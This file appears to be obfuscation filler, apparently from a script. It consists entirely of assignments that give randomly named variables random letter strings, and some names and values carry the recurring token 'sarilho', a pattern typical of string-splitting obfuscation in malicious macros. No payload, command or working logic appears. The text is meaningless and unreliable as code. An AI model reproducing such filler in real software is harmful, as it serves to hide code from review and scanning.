LKGPseNTpoKtmjZ = "ReKGUkNNkWQLLWW"
LhTOcnPipItWnOW = "WLNnhWKfJczIALL"
GfeiUtZRhLeLfqW = "LfOKOLzPNnidNAR"
vtLbJeJoRiNoGmz = "HOffGhWLWmvWALL"
ccmkLRjmWLiGpBB = "NCLuBAfRLohtGzG"
vKhJKGzWhBojzCW = "rALiWrqihnqNnNp"
NZLZoUWIlCfIcLP = "xmWvLnoBCohxWqT"
xiCSmletLsKqbif = "GafQGkLqhWnuLiu"
ARfkWbBiKmZJHOG = "bfKUloAUNOBgWWW"
inLRSzZdLLkfKHG = "SWLiGkvWjdpmRGm"
UachomPOejulWnP = "WLOfqLmAWPuZfiW"
eGhzOLgWfLKWONn = "WaOLZLWLpuZteIW"
BAoKhmeezKSLmGa = "QckrLLbfWWWkcJl"
WKOiAcWLRivlzcc = "OamZcITrlGTtLGx"
LReLzvecKfxRfeu = "ekoLPaOUuPPHZAN"
sarilhoBletKOhitiNKt = "jcicPxWbreebUcK"
hGtzgWWxKcdoKPc = "dUWilxGLLLKLvPo"
WHaZbfAPciPhfbN = "CcfjrLNtKlUBibi"
HcNhNPeKJALnLic = "KNGixxcWIGSJLKh"
GxaWiWLOGPWeNbJ = "cGLxZKWbiNKRNBi"
KbGeokiQiPetzZs = "NaLUrfcmLrJZlqL"
UAIzchZzLAWxTbL = "iqfkiugWKqaiWWK"
qWCukpkPULflimW = "NjPieGznkxuqPWU"
PkWLLiPecmNNnWe = "iTktWNiGuPWigWH"
fUCOUgsKzWRddRG = "iJoAWGbiUUUWrzt"
hpKmCzoxcezLhAU = "LCgAkubLOffQRKe"
kKiLWszizLtiGWj = "LhOrLcZcNvGcujk"
hgpaLvqJGeesCoh = "QkcSoWRrpLhLUoP"
LubWLLczWpRGflK = "pgOOLiUnTBzPQmm"
eAlhtbAZNcfUcWo = "zkzifOhixOLePGU"
NckTzcBGkczbHSW = "UAWcdpjJtezccoU"
okLhpkWJlWGizBC = "kkpAvjWLUqLNWWW"
BcKLfZzuHbKRiWW = "RKIdKUGRWBKScLG"
kKhRLhPILLnktol = "LcubBiRiuNRkspd"
ibgUbJnaROmONKJ = "LAKpUibCvpuKuAG"
KkOApjjKzfCAfWi = "WqbLzJuJkelckda"
PIRiBkklsUGGUUW = "dKGOvLjoLAhClNW"
mLWLfivjmLZLexL = "AGAUGncNhfrLLcG"
bLPiLtWPGWWQuLL = "KpqaAqeWNZtUCLU"
iZbqWlLjLuLAUfW = "WCrLOeiGRnCfGpc"
GWzpvoTfpGnAlLk = "pKsarilhouGvTWLLWLmU"
lukZfsKWWLRqzNK = "PzfldLLiWILPgqW"
NkKmGNhLsZeRKiB = "pzZCxbcLpiKrbhG"
vWGPUicxfKiRiJb = "WWLZKiRxqWNfNxo"
eqWztsOnRihWpmk = "LocrIWSxKdcLpKd"
KmieGnonmplcabf = "RRvKHNWaGfPsULG"
hiisKfZgeKKHWka = "PdWbuucsbsWKKcx"
AbHaUgeUfkiiPnO = "hBKvKoWfjLWWmdI"
mOebBOhOzoTKGiq = "WuttqbfBfqPoLca"
bOeGnfBUJWpZSzl = "AnUlpuQGLWhLWne"
LCKxocmWKKhcieL = "iWzJmeSeGcofNmc"
qWObcqWAWAKALLz = "WcLWxKUliLAtGaA"
jnGWezpzLWiBmUO = "qisWZWZLkmfLehg"
nzCLxbPpLWQkzik = "LWtLaxABkRuZaOU"
zBkOILLGsipzPAL = "bbaahgLKLphbkPo"
gkNUGZtsarilhoraLdbi = "zaJbmPmApUCkxWJ"
ifZCLQhGLZKakKe = "vGxqLAmxliGLkWL"
LlePtfzeGpZZKOz = "WWoLdUodlLUspab"
bGAtJLenGBWuGWP = "fkLasarilhooKNRQqCZU"
kKZUfLNIckKPlzn = "sWcGbKLRBiCNWon"
LeCkeKLLUzdLKuW = "UccLPWdbZKdKeWL"
uzORhZZRqiGHuKC = "LvKGWWOflmPkmhz"
pLniOaRrZLhGnlo = "omhpbhRKqOmkUsW"
BGWSAKNWBKWdZLU = "eHuxhUOGaNnHBKj"
JqqiLPzCZKLLgGL = "gCqckipPLodcLUN"
LLLLfoLeqcZlGLx = "qUUWZrLpeNoczOu"
cLBjCLGPCSLfCfv = "WCKbmTBNeLROhHz"
SqtRWGzhchkzmfK = "KLJGlLkKzTgobcx"
hLpAchLZPsiWxoA = "BkhSBqAioGWLQck"
hTibniAkUkntKLG = "LLczcfocdWaRrAL"
ltefKZkmoQpLhid = "lPGmcLiqlZKuckK"
iUkCpxeHLaSmGfL = "sWcdUtsICkdmhfL"
WeLUALltAqiGLAj = "QaacKWGiWzihZWc"
lcbOGGPmpuWImWx = "ppdUWOPlmCanklL"
GvAapWLiKflnsSm = "JLnczUgvoWWRWzs"
GLzePhkqdpdaNaW = "ivotKLKiPkkUCKt"
znNzzOjzKKLKKsW = "cxahzKKeiReiKjm"
ceWnecsKSKcibZk = "vCrxfdtGPUAbRij"
zGKcLmfWZkKPicU = "tuKkKKWUgeUfmUo"
KbNnkfcWWZfWoLb = "qPdAcLlWsoqGeuL"
JfhItetUWGOWRNi = "GiRLttPgiedcfig"
GgZecxPcmicNoLk = "KctWRJbhtckQtWi"
hRCpLZKPGGuPbLq = "PhRcckKihLNlzfb"
IWUkWlLqiIKUmWf = "szLqGloJjLsWCGI"
POrGdKfjLmZWaWS = "PWKpNAOHeqKfUrx"
zOpWuClcaZppCRL = "ikPKLucoiLivUta"
iWcLeSicPjAWGGa = "plaAxiePiLAgoqi"
ibIAmAPAjfAlxiP = "ibccxKKRGRLhdKh"
xGKouzWsQmkBmGN = "CbimccZpBiWiarW"
LAWoWWWWzGiUzuq = "tcoLHWiGWbQUoLb"
KbzamcLzfOWzBUh = "kUKOkHimffzWGlQ"
eGPoWicTGfikLin = "UWLWphnnULUniAi"
ZrGklBSCkWRpLLU = "hLkdWkmnBZRvcob"
IvApcGKcZKLhPvB = "mdWRWdHhhSiNzUL"
AcbrbLtpuiKLlvl = "oiJxOUhbKoAAhbU"
KGeNUmcAGWKmCtU = "KLpmIiZtLiOUdWe"
zLKcUBqlbAlLWoK = "tZpJaLdtfdJUhWL"
zbiGsWSLiPLKbec = "ZjzKKaCWLtLWhqQ"
iuiGsGZkczeWUNi = "hWojktmoLzxiUfm"
GKmWWNthiBBLUbk = "NANWtihvaZiLWop"
sarilhozWkfZomdGUnIk = "WGhZvLUlaaaiRrK"
PWmzAKvtCbgiNcK = "ZmGSGkOWxWoWZxW"
icdkdUpdWKgkZiT = "ZLbKsrBoLkLpoNa"
bpekUJibdsLKULa = "pndzPuqChPLiQdL"
LxjKOtLmWdOOPcP = "PAClrWkGBiZjeCf"
pRIGSxZbGcBqLuq = "BWUvqLWLhzHLfBm"
LWWohCWOKWccmNv = "QWCcgNpNWofUWNp"
keRsGWjbAnCzuGO = "mLpmeONPsueBjHk"
lALWKizUGCZiLsW = "LgftqZboKtnGiUL"
iCPmcKndqminkjN = "qWpWKUPJOkqWmZP"
RCZqzKWLlzPPBbO = "KBjLktSbadWKWPZ"
TxUhWumllPQmjPT = "acpgiWImZzebWKn"
QmdzULdzfKueWNp = "kQokmihWhBiRLGN"
fWruLPNBjRUOoLl = "kLtkoIRLzLKPpLi"
bLtWobdcemliTtb = "qxbonNTcWUillLf"
WdtKusarilhoNUqaRikB = "nafKeouUZpLzCLW"
ktnUhhLkxNWWQUN = "fzicBWURzKlSJkA"
LWoaGLcaACzCWNK = "ikiRfIdxcRGGhGh"
lLWLqmdzQlpIWPG = "RWUzrNqGWPdfGUU"
LUKZPLlKKcuPOqU = "KIilCvOKLGNGWUL"
kqhdAxZoWLiOiUW = "OuWtNuzqJdGRLbi"
LiKbzLZPszANfnt = "qRWrLkccxOUZmAi"
iZWiZCKbbLUiPli = "aKNUncqLkoxeTkR"
zLiPikWqApmboLz = "NxUiLGWpquxGimO"
ePAGZKcihqZWdiW = "dqmqkUiibhhvGQO"
LCPWeUaKGROWimu = "vsZriWWLKLWHTck"
lGWpeoKcuqoKAth = "BLpGWLhWUfWJpWL"
ZcLtAAigAtGWKUL = "KrzkKpKLWeaCbgW"
SnkcGlmuztpZWKZ = "ffiLWGWkeGiOZUQ"
cJtzTWQLWiqmpLd = "cfqLkWSKKsAKGkG"
CekWdUhWGqiWOWJ = "jdiitlLtctJbSWU"
LNbuchWpvkzRjBl = "ULLWoKJKcmjGBUv"
UKtNtnzjtHcAccR = "xLWOblgiingUiAW"
sACoSLicqaWJLem = "NcmuUkZNGIWWUGG"
lnfzJGWGUKKreGk = "BWkotNPKPiffWcr"
cWihRdvkLWhHrqL = "riWnWUvzxZvoPWA"
ArcZiPLcGmcqtlO = "tkhfChvixKWLGcW"
KKaLhLoJQWOKubs = "zecbcSLhzmLePCK"
BBibcGmAZezbzif = "oTcRUiPGndocPzC"
bULChJqiUvbZiLi = "CcfCnpzKKWifLLW"
izihdHBZWLCWNkg = "btorAfNiLUocncQ"
aTxqGmTeRZJhPdC = "hGPZGLPGkSLhcon"
hiLWehjOhCmbAif = "dHciiWPuWPZoWGI"
WNTLenKWZizmLbc = "RgUcAWxeqpcGfhh"
tAUPSaWsvGNhTkZ = "cLWtqWqgbLLmWWP"
bzUaWhifKtIhsWU = "ZguLxtGojZfihcl"
WaIuIuKcPOfHNiC = "ciWuRWfdeKtcGNU"
tPOzzSLPambfsarilhot = "WzkPibaWKLbaiJo"
OOZnNBxqgLUWGLu = "LkNiLLUBfKKoeNj"
oLkjNnAJimWlntO = "jSfeJiRjRLCWGzd"
LzQSohkKdLqpKhf = "sqIkUGoLLxRkONN"
CpLckWiCozceieC = "bGiJxUJinLmzGcc"
hBphGvGkZActAho = "qLWgcLCsarilhoNzbdlW"
ekkNCKZUszLkBni = "bLOWoriNqQKgOfi"
ancRoiPkcRUzKWa = "chSWzRcgALWAfeb"
OegLaURQIeKffbO = "WvlHbJcLvAmLedp"
WWWPopKLLWKkerB = "WZdsiGPZPGZpkit"
mLJmzPpkbIWWzfW = "PKNKRoLHtuTgbAN"
PTUGOckpLfGGqQI = "ihWZdKtLdALcznR"
LeezKLpWmWeLWxz = "cOeUddiWimKcUov"
KSZxmKCmihfKBzZ = "lTZCWLczUCxCLfG"
kixNktqLBfGSSNq = "ziWocNmGWeWcZNW"
OLkPnemULPLQHkI = "WGiZpLmGxWzKLrW"
knkJWZfxOWZsarilhonO = "nKWLrieUafdGblK"
sarilhoTqKLnWcUOWJCs = "UBiKeWLlNdsarilhoRbK"
LefleTkHrKsWPnA = "LmKlKuWWtBPxeWR"
xhAiBWKcRRkdLir = "mcWcfkOipbcGLWe"
nZdfeBiKCKoLCtC = "BZCGtLxiUifRphx"
GfpRNfGGiGinoiL = "phGclWsWrJLHqmf"
WbWAKphnCJRLjCL = "eKuZWLWOlrmKOqL"
oWepWGBpWZhzpnt = "HWUKPmqLqfGklca"
hfbzLUzNWofetmd = "LSGxbpizoLcciBk"
HKlZiatqLWnxiLv = "zidlRgcllabWOii"
LJUUqLbpWlimmLA = "WRqBphxWcoLWLan"
SxndiKTxiBpKhxo = "aIGUndKcLLrLzOL"
LcWjukiCQZOCLJh = "xzoLAnKNUmnUAGs"
KuoKkchuiGWLiqS = "GLSLkbBKcmxpeUN"
GdNUhUoiBWWioBW = "fWCZLpAWomcfJGW"
WdHaJbcmKuLkAUK = "rUKIqimsarilhoWWKWAt"
WpApqkKkOeWpLkf = "eLKpAiKNdoWhCUN"
GOKjGGUiLretZaS = "AkulihRQZWctGJp"
OqiWCKfejeecpqJ = "LeGiUficBCbZGBN"
eiLhPuUGIPgfBKt = "LJOLWZicslxbBZW"
ikLnmITipRskWKg = "htLLhCOWhWoPRci"
LiWhfUWLZpQtKWA = "kphGmuWKiiGNhxi"
xRLKUkiaLdAZlWZ = "KlbIWaROlgclbQe"
iBcLKcKKLGHilBm = "nBHZjZLxWWGPzfm"
JzOiKxWCcKZNKWi = "khIbWKNPOqWbzat"
zlWctRWjpicqxGe = "cmLgkZsdhkWaWof"
NsWIioUogLrBWNl = "WvLnickpgsWUoqL"
fczbkGWbLbsarilhorcT = "hAWnWPNWhizPnfi"
BzNcKzQxLdciLCG = "aRWelGhLWUvmKAL"
ALCNPuLAkxtWpAi = "sipGcTKiIChhWGZ"
ptjWuKLikKLuLKp = "fUZkJhzGWevzerc"
WINaLoeaKiAopmU = "LlkULZihLLZLikx"
LLAAkZdkpLBAWcc = "fZPefbnKqLUUPaN"
GWNKqtdLTZZhpNa = "SSxiRGliWxGIfPW"
BuqAklqxCmLnGKG = "KgmnuAoLkccrpmR"
ZlzcfCuOZplgLZr = "eaxbmGlHuWWQCcj"
jcqsKLBLPLLLKop = "bfqTqcosGZZccua"
pcNboWiaTjmWhmU = "rgWezeAfKnOUUzi"
iCbprlhCvPmJBLa = "ZeBKORqcZZLRBUG"
fxiepGzkBbjKoRb = "LtAKkfPGUnHUIGf"
KWcibKLPuBAWOiZ = "hLWKGbiLvnsbLWK"
iLUPOciezomcLin = "ffGLNBGLuCxnGLL"
KNWLcaLAaKKLLLz = "eqgULZUxLGReGWR"
cggzKzzZezZdzGW = "LcILWJkcGHLTLUi"
WcLZZixCNKARGNU = "pfKkNIGbhxRLARP"
hufnKfzLRJvBULp = "aLiWmnKfjnlBhiG"
nGikAKZGQpbJeLk = "klKUWBWAKzncPeL"
PWUiKWnCRuGcbWc = "sbKWLfWaiNKzgfU"
KnKKaeWlGdRAnLj = "KnULclGvpPbaWiP"
TbWBbNARHCdWJLm = "TiiPpWiWeAhmlnL"
GNzWWWKKSAiCCkK = "AhQWpIAoLxUNbzL"
ppdurZcQWPOciWO = "pdcUUKOfWzihsarilhoG"
sktbLiLKLZmqZWc = "gkeOeKhLbLetGJI"
ocCKooBbkmkImnL = "GBWWJiicvodNipC"
eKGUWSPZJdqngxC = "UcWkWLdgHKPxNQh"
uikCCKprxicOtWP = "WcLLWNzLBiCNKQS"
WCoiSGGNiprkbAf = "UgzbbLGztNWpBsz"
WgWLqiNlcWdlhKU = "GGfuaxLZGzHGUxz"
WGAcZcPUrLZWteb = "pWcGpaxGzOkfLhR"
WxZALLfKULKzWtL = "kmGtzCLezpmuORK"
ZLoLiOhALUpOukf = "eucWSmpoZiLfikp"
uWLibGcPpcWGcTB = "hnKLeeLeGLUaLoL"
hZbqbcqLUcLpWRZ = "uWzJsarilhocWimuLLep"
WGiNKGUZPqKiLHf = "TGAUoiWGjufiNGO"
cAbZLhkBhhiiNmz = "tkukKzoibLUPcGj"
KUmiOfGdCCeGJgz = "hLdKWSIofcqoHUc"
WGpLLNZRcuxKzIW = "KlxAOPcKWLKlWWc"
plZsarilhoNcrhLxWcIt = "GiizKKTAhZAWeWe"
LWqWHiHdCbLfWoP = "jmQcePkaLUNCGKA"
xAAKeftKWmcKWlf = "KbOQtLQbLNWOoLK"
oGcmhLKoWqmPLjh = "hNtJZfIzxcaJHcZ"
GWkOftRLzaadGkK = "ZOAobGOuCNbSLNW"
KZmKxmLtnZpWaac = "LdiWnlmcnniBqLR"
mcGisZNIduBpoWl = "madZLisfdWGmLiW"
jLcLkGzRZvbZcii = "RiUGNcmmOaScKKL"
LPxBGWcKtocUtvo = "GLdimLmlcLePLHK"
mAcjGlLZOZuKKGj = "hxcjNWKCsarilhooWBLL"
AdGLiLLpCkZGztL = "zTWWKmPOinGbcbi"
OIHKudItaLGmWeo = "iBPgrLkbLokPLqd"
cWtsIcdGhricLLu = "vksmLmNhLfhLvcc"
zUNikeoLxxaUcBn = "pbtgOcpWounLGWu"
jttZcQfLUWZJeGW = "ZUaWApLPpUGNiAK"
kcCNWGpCcbWKqRk = "RhpTSpWfitNUzJo"
GpLmmhnKKOzbqAR = "QrQRKaWWLPRxSLG"
KRPZhHANZGbAiko = "hnLxWUbUkWQRWKc"
cpuWimCChAtkGLL = "KWhkWUBLopmGive"
LLLQLcqhzHKxBZu = "zLLWzrUieUGkiiq"
LUlLzUIemzvKWpb = "rWipziLWLxcTWWJ"
kUWKhiHGBGzWvKb = "hopOfbZcGWtzlqo"
cUCkjcRpLSixNOn = "ZpLCOWKOGeiPtRU"
KWgNKbAqfxWidKN = "pnALcWIbgLOGbUL"
QULWWWGWoLszuaO = "BbnbKPbZcsarilhoxdGA"
LUoZUGWkkfiLSKd = "fILfzdiKGNpLtlL"
chfGivLLWWWnCUL = "cKbGoKQxHrKWGvp"
QZkcpiGGriQNPhG = "WBehJmxGoNmLtkv"
WkfiPuupPfGLNci = "litoLeLKtipObLe"
qvLjhILGWZtLopo = "SGLkiaGaquBZKiA"
OIfvobdfBChskPR = "eJWSKLGLLezLLLk"